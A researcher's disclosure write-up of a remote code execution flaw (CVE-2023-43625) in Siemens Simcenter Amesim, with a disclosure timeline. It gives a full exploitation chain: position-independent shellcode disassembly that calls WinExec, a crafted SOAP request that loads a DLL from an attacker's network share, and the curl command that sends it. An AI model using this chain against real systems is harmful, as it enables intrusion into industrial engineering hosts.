CVE-2023-43625 - Remote Code Execution in SIEMENS SimCenter AMESim

banner

Overview

The SIEMENS SimCenter AMESim version 6.1.1 exposes a vulnerable SOAP endpoint that could be query by a remote attacker to load arbitrary code in the context of the application.

Siemens advisory: https://cert-portal.siemens.com/productcert/pdf/ssa-386812.pdf


Software Architecture

The SIEMENS SimCenter AMESim software allows a user to design and simulate the behaviour of an industrial system :

When using the AMESim software, 3 software components are communicating together:

  • AMESim.exe - The software main UI
  • STDSIMManager.exe - The top level runner that instantiate the simulation runners
  • STDSIMDeamon.exe - The simulation runner that run the actual project simulation

The communications between these components is based on the SOAP protocol.

The SOAP protocol is used to exchange structured information, in the XML format, between different applications / process.

In our case, the AMESim components are using the SOAP protocol over plain-text HTTP.

When a user wants to run a simulation of its industrial system, the correpsonding simulation code is compiled by AMESim.exe.

The generated code is stored inside a shared library stored in the project file of the solution.

Then, this DLL is grabed by STDSIMManager.exe, which sent it to STDSIMDeamon.exe.

In the end, STDSIMDeamon.exe executes the code contained in the DLL to run the simulation.


Vulnerability finding

When observing the behavior of the AMESim, STDSIMMAnager and the STDSIMDeamon process when a simulation of a project is ran, we can spot the fact that some network interactions occurs right before the loading of the simulation library:

1) [HTTP] AMESim.exe -> STDSIMManager.exe (127.0.0.1:40002)
2) [HTTP] AMESim.exe -> STDSIMManager.exe (HTTP 127.0.0.1:40002)
3) [HTTP] AMESim.exe -> STDSIMManager.exe (HTTP 127.0.0.1:40002)
4) [HTTP] AMESim.exe -> STDSIMDeamon.exe  (HTTP 127.0.0.1:40003)
5) STDSIMDeamon.exe load the simulation library
6) STDSIMDeamon.exe execute the simulation library

When looking at the TCP ports used by the solution, we can confirm the network exchanges:

TCP    0.0.0.0:40001      LISTENING [STDSIMManager.exe]
TCP    0.0.0.0:40002      LISTENING [STDSIMManager.exe]
TCP    0.0.0.0:40003      LISTENING [STDSIMDaemon.exe]
TCP    0.0.0.0:45000      LISTENING [AMESim.exe]

If we focus on the last request (4) before the loading of a legitimate simulation project library in STDSIMDeamon.exe, we can observe that it is a cleartext SOAP request:

POST / HTTP/1.1  
Host: 127.0.0.1:40003  
User-Agent: gSOAP/2.7
Content-Type: text/xml; charset=utf-8
Content-Length: 602
Connection: close
SOAPAction: ""
<?xml version="1.0" encoding="UTF-8"?>.<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="http://tempuri.org/ns.xsd"><SOAP-ENV:Body><ns:model-load2><modelname>SimcenterAmesimStudentEdition_v16_Thermal_Exchanges_Modele</modelname><directory>Z:/SHARE/VULNS_SIEMENS/SimcenterAmesimSE_thermal_Exch</directory><additional-run-info>Amesim</additional-run-info></ns:model-load2></SOAP-ENV:Body></SOAP-ENV:Envelope>y><ns:remote-lockdaemonResponse><ipport>40003</ipport></ns:remote-lockdaemonResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>V:Body></SOAP-ENV:Envelope>

Looking at the XML data passed in the POST request, we can spot 2 interesting things:

  • The “directory” field is the one that contains the unpacked project containing the compiled library. (the project file is unziped on disk when opened in AMESim)

  • The “modelname” field is the name of the project, but also the name of the library that is going to be load (by default, AMESim compiled the simulation library with the same name of the project followed by an underscore. If the project name is “test.ame” the library will be compiled under the name “test_.dll” and then stored it in the “test.ame” project archive).

To leverage this SOAP endpoint into a remote code execution, an attack could expose a shared folder on its computer that contain a specialy crafted malicious library.

Since we can send an arbitrary SOAP request to STDSIMDaemon.exe from a remote location, we can force the program to load an arbitrary shared-library (hosted in a remote shared folder).


Exploitation

In order to trigger this vulnerability, we have to understand how to craft a shared-library that could be validated and loaded by STDSIMDaemon.exe to craft our own malicious one.

A legitimate DLL produced by the software contains a bunch of exported functions. The ones that are called by STDSIMDaemon.exe are the following:

  • AMEGetTemplateVersion()
  • AMEInitSizes()
  • AMEDisabledOptimizedResolver()
  • AMESetStabilizingOptions()
  • AMESetMinDisHanOptionAMESetFinalTime()
  • STDSIMInitModel()
  • STDSIMdoAStep2()
  • STDSIMTerminate()
  • AMESignalModelUnload()

Which means that we could inject our malicious code in one of these to gain code execution during the simulation phase, since no integrity mechanism exists.

As the target proces, STDSIMDeamon.exe, is running with ASLR, our shellcode need to be “position independant”.

This means that we’ll have to dynamically parse the PEB of the process that is going to load our DLL, locate the kernel32.dll library in it and find the WinExec() function address before calling it.

The following shellcode was crafted and was inserted at the begining of one of the exported functions of a legitimate project library:

6FE46247 | 55                       | push ebp                                |
6FE46248 | 89E5                     | mov ebp,esp                             |
6FE4624A | 83EC 1C                  | sub esp,1C                              |
6FE4624D | 31C0                     | xor eax,eax                             |
6FE4624F | 8945 FC                  | mov dword ptr ss:[ebp-4],eax            |
6FE46252 | 8945 F8                  | mov dword ptr ss:[ebp-8],eax            | [ebp-8]:EntryPoint
6FE46255 | 8945 F4                  | mov dword ptr ss:[ebp-C],eax            |
6FE46258 | 8945 F0                  | mov dword ptr ss:[ebp-10],eax           |
6FE4625B | 8945 EC                  | mov dword ptr ss:[ebp-14],eax           |
6FE4625E | 8945 E8                  | mov dword ptr ss:[ebp-18],eax           |
6FE46261 | 8945 E4                  | mov dword ptr ss:[ebp-1C],eax           | [ebp-1C]:RtlIpv6AddressToStringA+1C6
6FE46264 | 68 78656300              | push 636578                             |
6FE46269 | 68 57696E45              | push 456E6957                           |
6FE4626E | 8965 EC                  | mov dword ptr ss:[ebp-14],esp           |
6FE46271 | 64:A1 30000000           | mov eax,dword ptr fs:[30]               |
6FE46277 | 8B40 0C                  | mov eax,dword ptr ds:[eax+C]            |
6FE4627A | 8B40 14                  | mov eax,dword ptr ds:[eax+14]           |
6FE4627D | 8B00                     | mov eax,dword ptr ds:[eax]              |
6FE4627F | 8B00                     | mov eax,dword ptr ds:[eax]              |
6FE46281 | 8B40 10                  | mov eax,dword ptr ds:[eax+10]           |
6FE46284 | 89C3                     | mov ebx,eax                             |
6FE46286 | 8B43 3C                  | mov eax,dword ptr ds:[ebx+3C]           |
6FE46289 | 01D8                     | add eax,ebx                             |
6FE4628B | 8B40 78                  | mov eax,dword ptr ds:[eax+78]           |
6FE4628E | 01D8                     | add eax,ebx                             |
6FE46290 | 8B48 14                  | mov ecx,dword ptr ds:[eax+14]           | ecx:EntryPoint
6FE46293 | 894D FC                  | mov dword ptr ss:[ebp-4],ecx            | ecx:EntryPoint
6FE46296 | 8B48 1C                  | mov ecx,dword ptr ds:[eax+1C]           | ecx:EntryPoint
6FE46299 | 01D9                     | add ecx,ebx                             | ecx:EntryPoint
6FE4629B | 894D F8                  | mov dword ptr ss:[ebp-8],ecx            | [ebp-8]:EntryPoint, ecx:EntryPoint
6FE4629E | 8B48 20                  | mov ecx,dword ptr ds:[eax+20]           | ecx:EntryPoint
6FE462A1 | 01D9                     | add ecx,ebx                             | ecx:EntryPoint
6FE462A3 | 894D F4                  | mov dword ptr ss:[ebp-C],ecx            | ecx:EntryPoint
6FE462A6 | 8B48 24                  | mov ecx,dword ptr ds:[eax+24]           | ecx:EntryPoint
6FE462A9 | 01D9                     | add ecx,ebx                             | ecx:EntryPoint
6FE462AB | 894D F0                  | mov dword ptr ss:[ebp-10],ecx           | ecx:EntryPoint
6FE462AE | 31C0                     | xor eax,eax                             |
6FE462B0 | 31C9                     | xor ecx,ecx                             | ecx:EntryPoint
6FE462B2 | 90                       | nop                                     |
6FE462B3 | 8B75 EC                  | mov esi,dword ptr ss:[ebp-14]           |
6FE462B6 | 8B7D F4                  | mov edi,dword ptr ss:[ebp-C]            | edi:EntryPoint
6FE462B9 | FC                       | cld                                     |
6FE462BA | 8B3C87                   | mov edi,dword ptr ds:[edi+eax*4]        | edi:EntryPoint, edi+eax*4:EntryPoint
6FE462BD | 01DF                     | add edi,ebx                             | edi:EntryPoint
6FE462BF | 66:B9 0800               | mov cx,8                                |
6FE462C3 | F3:A6                    | repe cmpsb                              |
6FE462C5 | 74 06                    | je d.6FE462CD                           |
6FE462C7 | 40                       | inc eax                                 |
6FE462C8 | 3B45 FC                  | cmp eax,dword ptr ss:[ebp-4]            |
6FE462CB | 75 E5                    | jne d.6FE462B2                          |
6FE462CD | 8B4D F0                  | mov ecx,dword ptr ss:[ebp-10]           | ecx:EntryPoint
6FE462D0 | 8B55 F8                  | mov edx,dword ptr ss:[ebp-8]            | [ebp-8]:EntryPoint
6FE462D3 | 66:8B0441                | mov ax,word ptr ds:[ecx+eax*2]          | ecx+eax*2:EntryPoint
6FE462D7 | 8B0482                   | mov eax,dword ptr ds:[edx+eax*4]        |
6FE462DA | 01D8                     | add eax,ebx                             |
6FE462DC | 31D2                     | xor edx,edx                             |
6FE462DE | 90                       | nop                                     |
6FE462DF | 52                       | push edx                                |
6FE462E0 | 68 63616C63              | push 636C6163                           |
6FE462E5 | 89E1                     | mov ecx,esp                             | ecx:EntryPoint
6FE462E7 | 6A 0A                    | push A                                  |
6FE462E9 | 51                       | push ecx                                | ecx:EntryPoint
6FE462EA | FFD0                     | call eax                                |
6FE462EC | 83C4 1C                  | add esp,1C                              |
6FE462EF | 83C4 0C                  | add esp,C                               |
6FE462F2 | 83C4 04                  | add esp,4                               |
6FE462F5 | 5D                       | pop ebp                                 |
6FE462F6 | C3                       | ret                                     |

In the end, this shellcode will simply call WinExec() in order to run the calc.exe utility as a proof of pwn.

Then, to force the remote process to load our crafted DLL, we have to send our arbitrary SOAP request, setting the “directory” field of the XML request to our remote shared folder.

For instance, a malicious SOAP request that will load a specially crafted DLL into STDSIMDeamon.exe looks like:

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="http://tempuri.org/ns.xsd"><SOAP-ENV:Body>
<ns:model-load2><modelname>RCE</modelname>
<directory>\\DESKTOP-AMI4468\Users\user\Desktop\netshared</directory>
<additional-run-info>Amesim</additional-run-info>
</ns:model-load2>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>y>
<ns:remote-lockdaemonResponse>
<ipport>40004</ipport>
</ns:remote-lockdaemonResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>V:Body></SOAP-ENV:Envelope>

This request will force the STDSIMDeamon.exe binary to load \\DESKTOP-AMI4468\Users\user\Desktop\netshared\RCE_.dll (remote location) in memory and execute a subset of it’s exported functions.

The following curl command was used to trigger the vulnerability:

curl -X POST http://192.168.1.90:40004 -H "User-Agent: gSOAP/2.7" -H "Content-Type: text/xml; charset=utf-8" -H "Connection: close" -H "SOAPAction: \"\"" -d @C:\Users\user\Documents\payload.xml
  • “192.168.1.90” being the IP address of the target computer
  • “40004” being the port on which STDSIMDeamon.exe is listening. From my analysis, the process is listening from port 40001 to port 40010. If the port change, it can easily be bruteforced until it respond.
  • “payload.xml” being the previous XML file that contains the redirection to the remote DLL exposes on a shared folder on the attacker’s computer.

This will spawn the calc.exe utility on the target system, confirming our RCE:


Disclosure Timeline

  • 17-08-2023 : Vulnerability submited to ZDI
  • 23-08-2023 : ZDI is not interested in this product
  • 03-09-2023 : Vulnerability submited to SIEMENS
  • 04-09-2023 : Case id #80705 is assigned to the vulnerability
  • 20-09-2023 : Vulnerability is confirmed by SIEMENS
  • 10-10-2023 : SIEMENS publish the advisory SSA-386812 and assign the CVE-2023-43625 with a CVSS score of 9.8